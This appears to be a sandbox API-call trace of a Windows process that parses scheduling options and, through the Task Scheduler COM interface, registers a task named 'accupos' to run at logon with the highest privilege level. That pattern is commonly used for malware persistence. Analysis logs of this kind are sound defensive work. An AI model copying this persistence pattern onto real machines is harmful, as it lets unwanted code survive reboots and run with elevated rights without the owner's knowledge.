[0123.340] lstrlenW (lpString="ri") returned 2 [0123.340] lstrlenW (lpString="ri") returned 2 [0123.340] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.340] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.340] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|ri|") returned 4 [0123.340] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.340] lstrlenW (lpString="|ri|") returned 4 [0123.340] lstrlenW (lpString="|f|") returned 3 [0123.340] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0123.340] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.340] lstrlenW (lpString="z") returned 1 [0123.340] lstrlenW (lpString="z") returned 1 [0123.340] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.340] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.340] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|z|") returned 3 [0123.340] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.340] lstrlenW (lpString="|z|") returned 3 [0123.340] lstrlenW (lpString="|f|") returned 3 [0123.340] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0123.340] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.340] lstrlenW (lpString="f") returned 1 [0123.340] lstrlenW (lpString="f") returned 1 [0123.340] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.340] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.340] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.340] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.340] lstrlenW (lpString="|f|") returned 3 [0123.340] lstrlenW (lpString="|f|") returned 3 [0123.340] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0123.340] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.340] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.340] GetProcessHeap () returned 0x23fabff0000 [0123.341] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb660 [0123.341] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.341] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0123.341] lstrlenW (lpString="LIMITED") returned 7 [0123.341] GetProcessHeap () returned 0x23fabff0000 [0123.341] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x10) returned 0x23fabffab30 [0123.341] GetThreadLocale () returned 0x409 [0123.341] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0123.341] GetProcessHeap () returned 0x23fabff0000 [0123.341] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb6c0 [0123.341] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.341] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0123.341] lstrlenW (lpString="HIGHEST") returned 7 [0123.341] GetProcessHeap () returned 0x23fabff0000 [0123.341] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x10) returned 0x23fabffa970 [0123.341] GetThreadLocale () returned 0x409 [0123.341] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0123.341] GetProcessHeap () returned 0x23fabff0000 [0123.341] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb840 [0123.341] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.341] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0123.341] lstrlenW (lpString="MINUTE") returned 6 [0123.341] GetProcessHeap () returned 0x23fabff0000 [0123.341] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0xe) returned 0x23fabffaa50 [0123.341] GetThreadLocale () returned 0x409 [0123.341] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0123.341] GetProcessHeap () returned 0x23fabff0000 [0123.341] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffbb70 [0123.341] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.341] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0123.341] lstrlenW (lpString="HOURLY") returned 6 [0123.341] GetProcessHeap () returned 0x23fabff0000 [0123.341] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0xe) returned 0x23fabffabb0 [0123.341] GetThreadLocale () returned 0x409 [0123.341] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0123.341] GetProcessHeap () returned 0x23fabff0000 [0123.341] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb3f0 [0123.342] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.342] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0123.342] lstrlenW (lpString="DAILY") returned 5 [0123.342] GetProcessHeap () returned 0x23fabff0000 [0123.342] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0xc) returned 0x23fabffab90 [0123.342] GetThreadLocale () returned 0x409 [0123.342] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0123.342] GetProcessHeap () returned 0x23fabff0000 [0123.342] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb6f0 [0123.342] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.342] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0123.342] lstrlenW (lpString="WEEKLY") returned 6 [0123.342] GetProcessHeap () returned 0x23fabff0000 [0123.342] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0xe) returned 0x23fabffab70 [0123.342] GetThreadLocale () returned 0x409 [0123.342] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0123.342] GetProcessHeap () returned 0x23fabff0000 [0123.342] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb420 [0123.342] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.342] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0123.342] lstrlenW (lpString="MONTHLY") returned 7 [0123.342] GetProcessHeap () returned 0x23fabff0000 [0123.342] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x10) returned 0x23fabffaad0 [0123.342] GetThreadLocale () returned 0x409 [0123.342] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0123.342] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.342] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0123.342] lstrlenW (lpString="ONCE") returned 4 [0123.342] GetProcessHeap () returned 0x23fabff0000 [0123.342] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0xa) returned 0x23fabffac30 [0123.342] GetThreadLocale () returned 0x409 [0123.342] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0123.342] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.342] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0123.342] lstrlenW (lpString="ONSTART") returned 7 [0123.342] GetThreadLocale () returned 0x409 [0123.342] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0123.343] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.343] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0123.343] lstrlenW (lpString="ONLOGON") returned 7 [0123.343] GetThreadLocale () returned 0x409 [0123.343] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0123.343] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.343] GetProcessHeap () returned 0x23fabff0000 [0123.343] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x1fc) returned 0x23fabffacf0 [0123.343] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.343] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0123.343] lstrlenW (lpString="First") returned 5 [0123.343] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.343] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0123.343] lstrlenW (lpString="Second") returned 6 [0123.343] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.343] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0123.343] lstrlenW (lpString="Third") returned 5 [0123.343] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.343] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0123.343] lstrlenW (lpString="Fourth") returned 6 [0123.343] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.343] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0123.343] lstrlenW (lpString="Last") returned 4 [0123.343] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.343] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0123.343] lstrlenW (lpString="First") returned 5 [0123.343] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.344] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0123.344] lstrlenW (lpString="Second") returned 6 [0123.344] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.344] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0123.344] lstrlenW (lpString="Third") returned 5 [0123.344] GetProcessHeap () returned 0x23fabff0000 [0123.344] GetProcessHeap () returned 0x23fabff0000 [0123.344] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffac30) returned 1 [0123.344] GetProcessHeap () returned 0x23fabff0000 [0123.344] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffac30) returned 0xa [0123.344] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffac30) returned 1 [0123.344] GetProcessHeap () returned 0x23fabff0000 [0123.344] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0xc) returned 0x23fabffabf0 [0123.344] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.344] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0123.344] lstrlenW (lpString="Fourth") returned 6 [0123.344] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.344] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0123.344] lstrlenW (lpString="Last") returned 4 [0123.344] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xaed211c510, cchData=128 | out: lpLCData="0") returned 2 [0123.344] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.344] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0123.344] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0123.344] GetProcessHeap () returned 0x23fabff0000 [0123.344] GetProcessHeap () returned 0x23fabff0000 [0123.344] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffab30) returned 1 [0123.344] GetProcessHeap () returned 0x23fabff0000 [0123.344] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffab30) returned 0x10 [0123.344] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffab30) returned 1 [0123.345] GetProcessHeap () returned 0x23fabff0000 [0123.345] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x16) returned 0x23fabffa9f0 [0123.345] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xaed211c530, cchData=128 | out: lpLCData="0") returned 2 [0123.345] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.345] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0123.345] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0123.345] GetProcessHeap () returned 0x23fabff0000 [0123.345] GetProcessHeap () returned 0x23fabff0000 [0123.345] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffa970) returned 1 [0123.345] GetProcessHeap () returned 0x23fabff0000 [0123.345] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffa970) returned 0x10 [0123.345] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffa970) returned 1 [0123.345] GetProcessHeap () returned 0x23fabff0000 [0123.345] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x16) returned 0x23fabffac30 [0123.345] GetLocalTime (in: lpSystemTime=0xaed211c768 | out: lpSystemTime=0xaed211c768*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2e, wMilliseconds=0x2d1)) [0123.345] GetLocalTime (in: lpSystemTime=0xaed211d158 | out: lpSystemTime=0xaed211d158*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2e, wMilliseconds=0x2d1)) [0123.345] lstrlenW (lpString="") returned 0 [0123.345] lstrlenW (lpString="") returned 0 [0123.345] lstrlenW (lpString="") returned 0 [0123.345] lstrlenW (lpString="") returned 0 [0123.345] lstrlenW (lpString="") returned 0 [0123.345] lstrlenW (lpString="") returned 0 [0123.345] lstrlenW (lpString="") returned 0 [0123.345] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.373] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0123.409] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xaed211ceb0 | out: ppv=0xaed211ceb0*=0x23fac275740) returned 0x0 [0123.423] TaskScheduler:ITaskService:Connect (This=0x23fac275740, serverName=0xaed211cfa0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xaed211cf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xaed211cf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xaed211cf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0123.448] TaskScheduler:ITaskService:GetFolder (in: This=0x23fac275740, Path=0x0, ppFolder=0xaed211d090 | out: ppFolder=0xaed211d090*=0x23fac2758f0) returned 0x0 [0123.450] TaskScheduler:ITaskService:NewTask (in: This=0x23fac275740, flags=0x0, ppDefinition=0xaed211d068 | out: ppDefinition=0xaed211d068*=0x23fac275970) returned 0x0 [0123.450] ITaskDefinition:get_Actions (in: This=0x23fac275970, ppActions=0xaed211cfb0 | out: ppActions=0xaed211cfb0*=0x23fac275a00) returned 0x0 [0123.451] IActionCollection:Create (in: This=0x23fac275a00, Type=0, ppAction=0xaed211cff0 | out: ppAction=0xaed211cff0*=0x23fac275e10) returned 0x0 [0123.451] IUnknown:Release (This=0x23fac275e10) returned 0x1 [0123.451] IUnknown:Release (This=0x23fac275a00) returned 0x1 [0123.451] ITaskDefinition:get_Triggers (in: This=0x23fac275970, ppTriggers=0xaed211cb60 | out: ppTriggers=0xaed211cb60*=0x23fac275cc0) returned 0x0 [0123.451] ITriggerCollection:Create (in: This=0x23fac275cc0, Type=9, ppTrigger=0xaed211cb48 | out: ppTrigger=0xaed211cb48*=0x23fac275ea0) returned 0x0 [0123.451] IUnknown:QueryInterface (in: This=0x23fac275ea0, riid=0x7ff685138a30*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xaed211cb40 | out: ppvObject=0xaed211cb40*=0x23fac275ea0) returned 0x0 [0123.451] IUnknown:Release (This=0x23fac275ea0) returned 0x2 [0123.452] _vsnwprintf (in: _Buffer=0xaed211ca90, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xaed211ca68 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0123.452] ITrigger:put_StartBoundary (This=0x23fac275ea0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0123.452] lstrlenW (lpString="") returned 0 [0123.452] lstrlenW (lpString="") returned 0 [0123.452] lstrlenW (lpString="") returned 0 [0123.452] lstrlenW (lpString="") returned 0 [0123.452] IUnknown:Release (This=0x23fac275ea0) returned 0x1 [0123.452] IUnknown:Release (This=0x23fac275cc0) returned 0x1 [0123.452] ITaskDefinition:get_Settings (in: This=0x23fac275970, ppSettings=0xaed211cff0 | out: ppSettings=0xaed211cff0*=0x23fac275b40) returned 0x0 [0123.452] lstrlenW (lpString="") returned 0 [0123.452] IUnknown:Release (This=0x23fac275b40) returned 0x3 [0123.452] GetLocalTime (in: lpSystemTime=0xaed211cea8 | out: lpSystemTime=0xaed211cea8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2e, wMilliseconds=0x33f)) [0123.452] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0123.452] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xaed211cec0, nSize=0xaed211ce98 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xaed211ce98) returned 0x1 [0123.453] ITaskDefinition:get_RegistrationInfo (in: This=0x23fac275970, ppRegistrationInfo=0xaed211ce90 | out: ppRegistrationInfo=0xaed211ce90*=0x23fac275a80) returned 0x0 [0123.453] IRegistrationInfo:put_Author (This=0x23fac275a80, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0123.453] _vsnwprintf (in: _Buffer=0xaed211cec0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xaed211ce58 | out: _Buffer="2023-09-19T17:15:46") returned 19 [0123.453] IRegistrationInfo:put_Date (This=0x23fac275a80, Date="2023-09-19T17:15:46") returned 0x0 [0123.453] IUnknown:Release (This=0x23fac275a80) returned 0x1 [0123.453] malloc (_Size=0x18) returned 0x23fac275fc0 [0123.453] free (_Block=0x23fac275fc0) [0123.453] lstrlenW (lpString="") returned 0 [0123.454] ITaskDefinition:get_Principal (in: This=0x23fac275970, ppPrincipal=0xaed211d058 | out: ppPrincipal=0xaed211d058*=0x23fac275d30) returned 0x0 [0123.454] IPrincipal:put_RunLevel (This=0x23fac275d30, RunLevel=1) returned 0x0 [0123.454] IUnknown:Release (This=0x23fac275d30) returned 0x1 [0123.454] malloc (_Size=0x18) returned 0x23fac275fc0 [0123.454] ITaskFolder:RegisterTaskDefinition (in: This=0x23fac2758f0, Path="accupos", pDefinition=0x23fac275970, flags=6, UserId=0xaed211d100*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xaed211d0e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xaed211d120*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xaed211d0c0 | out: ppTask=0xaed211d0c0*=0x23fac276fd0) returned 0x0 [0123.504] free (_Block=0x23fac275fc0) [0123.504] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.504] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0123.504] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0123.504] GetProcessHeap () returned 0x23fabff0000 [0123.504] GetProcessHeap () returned 0x23fabff0000 [0123.504] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffaa50) returned 1 [0123.504] GetProcessHeap () returned 0x23fabff0000 [0123.504] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffaa50) returned 0xe [0123.504] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffaa50) returned 1 [0123.504] GetProcessHeap () returned 0x23fabff0000 [0123.504] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x82) returned 0x23fac015b50 [0123.504] _vsnwprintf (in: _Buffer=0xaed211d770, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xaed211d008 | out: _Buffer="SUCCESS: The scheduled task \"accupos\" has successfully been created.\n") returned 69 [0123.504] __iob_func () returned 0x7ffa7941e210 [0123.505] _fileno (_File=0x7ffa7941e240) returned -2 [0123.505] _errno () returned 0x23fac270840 [0123.505] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0123.505] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.505] lstrlenW (lpString="SUCCESS: The scheduled task \"accupos\" has successfully been created.\n") returned 69 [0123.505] GetConsoleOutputCP () returned 0x0 [0123.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"accupos\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0123.505] GetConsoleOutputCP () returned 0x0 [0123.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"accupos\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"accupos\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0123.505] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 69 [0123.505] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0123.505] IUnknown:Release (This=0x23fac276fd0) returned 0x0 [0123.505] TaskScheduler:IUnknown:Release (This=0x23fac275970) returned 0x0 [0123.505] TaskScheduler:IUnknown:Release (This=0x23fac2758f0) returned 0x0 [0123.505] TaskScheduler:IUnknown:Release (This=0x23fac275740) returned 0x0 [0123.506] lstrlenW (lpString="") returned 0 [0123.506] GetProcessHeap () returned 0x23fabff0000 [0123.506] GetProcessHeap () returned 0x23fabff0000 [0123.506] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffacf0) returned 1 [0123.506] GetProcessHeap () returned 0x23fabff0000 [0123.506] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffacf0) returned 0x1fc [0123.506] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffacf0) returned 1 [0123.506] GetProcessHeap () returned 0x23fabff0000 [0123.506] GetProcessHeap () returned 0x23fabff0000 [0123.506] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffab10) returned 1 [0123.506] GetProcessHeap () returned 0x23fabff0000 [0123.506] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffab10) returned 0x16 [0123.506] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffab10) returned 1 [0123.506] GetProcessHeap () returned 0x23fabff0000 [0123.506] GetProcessHeap () returned 0x23fabff0000 [0123.506] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffac50) returned 1 [0123.507] GetProcessHeap () returned 0x23fabff0000 [0123.507] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffac50) returned 0x18 [0123.507] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffac50) returned 1 